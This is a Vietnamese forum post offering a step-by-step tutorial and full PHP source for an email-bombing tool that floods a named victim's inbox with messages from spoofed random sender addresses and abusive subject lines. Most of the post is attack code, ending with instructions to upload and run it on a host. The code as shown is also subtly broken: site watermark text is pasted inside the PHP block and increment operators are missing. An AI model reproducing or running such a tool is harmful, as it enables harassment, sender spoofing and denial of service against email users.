Bang hộiTiền mặt: 0 Xu Trò chơiHộp quà giáng sinhThứ Bảy, 00:04:24 - 23/11/2024
Chia sẻ kiến thức trên các lĩnh vực khác

Các điều hành viên: Mod, SMod, Admin

[KN] BOOM GMAIL

[KN] BOOM GMAIL

#1 » Gửi bài gửi bởi TomboyCukkoo » 30/01/2013 09:32 » @166533

----- Yêu cầu:
- Biết sơ qua về php, html, css.
- Biết mình đang làm gì
----- Bắt đầu:

● Bước 1: Xác định bài toán:
- Chúng ta sẽ viết 1 chương trình php đơn giản, trong đó sử dụng hàm mail gửi mail liên tục về 1 địa chỉ victim cố định, gây ngập lụt hòm mail đối phương.
- Thông tin cần thiết gồm có:
Địa chỉ email của victim
Địa chỉ gửi đi
Số lượng mail gửi đi

● Bước 2: Xây dựng mã HTML:
- Tạo 1 form HTML đơn giản, nhập email đối phương, số lượng, và nút Bom:
PHP Code: Bấm vào để chọn tất cả

Mã: Chọn tất cả
<html>
<body><center>
<form action=" <?php  echo  $_SERVER [ 'PHP_SELF' ];  ?> " method="POST" name="bom">
Victim:<input name="mail" type=""text"><br>
Số lượng: <input name="soluong" type="text"><br>
<input type="submit" name="submit" value="Bom">
</form>
</center></body>
</html>

------> OK!
● Bước 3: xây dựng mà PHP:
- Xây dựng hàm tạo chuỗi string random, mục đích đưa vào làm domain giả gửi mail, làm tiêu đề và nội dung:
PHP Code: Bấm vào để chọn tất cả

Mã: Chọn tất cả
function  rand_string ( $length ) {
     $chars  =  "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;   
     $size  =  strlen (  $chars  );
    for(  $i  =  0 ;  $i  <  $length ;  $i    ){
         $str  .=  $chars [  rand (  0 ,  $size  -  1  ) ];
    }
    return  $str ;
}

- Truyền biến:
PHP Code: Bấm vào để chọn tất cả

Mã: Chọn tất cả
If ( $_POST [ 'submit' ]){
While ( $i <= $soluong ){
mail ( $mail , $subject , $content , $header );
$i   ;
}
}

- Thêm các giá trị random vào vòng lặp while:
PHP Code: Bấm vào để chọn tất cả

Mã: Chọn tất cả
$content = rand_string ( 100 ). " - Password để ngừng bom mail:"  md5 ( rand_string ( 10 ));
$subject = "**** you - " . rand_string ( 10 ).  " - "  . md5 ( rand_string ( 10 ));
$mailfrom = "tuoitrevn-" . rand_string ( 8 ). "@" . rand_string ( 6 ). ".com" ;
$header = "From:  $mailfrom < $mailfrom >"  .  "\r\n"  .
               "X-Mailer: PHP/"  .  phpversion ();

● Bước 4: Ghép php vào html và lưu lại dưới dạng file php. Up lên host và chạy thôi

Demo Code:
PHP Code: Bấm vào để chọn tất cả

Mã: Chọn tất cả
<html>
<body><center>
<form action=" <?php  echo  $_SERVER [ 'PHP_SELF' ];  ?> " method="POST" name="bom">
Victim:<input name="mail" type=""text"><br>
Số lượng: <input name="soluong" type="text"><br>
<input type="submit" name="submit" value="Bom">
<?php
Bạn đang xem bài viết tại: mwap.biz
function  rand_string ( $length ) {
     $chars  =  "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;   
     $size  =  strlen (  $chars  );
    for(  $i  =  0 ;  $i  <  $length ;  $i    ){
         $str  .=  $chars [  rand (  0 ,  $size  -  1  ) ];
    }
    return  $str ;
}
$mail = $_POST [ 'mail' ];
$soluong = $_POST [ 'soluong' ];
$i = 1 ;
If ( $_POST [ 'submit' ]){
While ( $i <= $soluong ){
$content = rand_string ( 100 ). " - Password để ngừng bom mail:" .  md5 ( rand_string ( 10 ));
$subject = "**** you - " . rand_string ( 10 ).  " - "  . md5 ( rand_string ( 10 ));
$mailfrom = "tuoitrevn-" . rand_string ( 8 ). "@" . rand_string ( 6 ). ".com" ;
$header = "From:  $mailfrom < $mailfrom >"  .  "\r\n"  .
               "X-Mailer: PHP/"  .  phpversion ();
mail ( $mail , $subject , $content , $header );
$i   ;
echo  $i . " " . $mailfrom . " - " . $mail . "<br>" ;
}
}
?>
</form>
</center></body>
</html>

Những người đã like TomboyCukkoo bởi bài viết có ích này (Tổng: 2):
kanrisGhost
TomboyCukkoo
Hình đại diện của thành viên
Rank: ☀️16/30☀️
Cấp độ:
Tu luyện:
Like:
Online:
Bang hội: Hỏa Løng
Xếp hạng Bang hội: ⚡4/123⚡
Level:
Chủ đề đã tạo: 🩸1776/4141🩸
Tiền mặt:
Nhóm:
Danh hiệu: ⚝Gia học Uyên Nguyên⚝
Giới tính:
Ngày tham gia:
Đến từ:
(Nokia x2-00)

- Chia sẻ bài viết:

- Xem full chủ đề: http://chiase123.com/viewtopic.html?t=13014

- Link bài viết: http://chiase123.com/topic13014.html#p166533

Quay về Kiến thức khác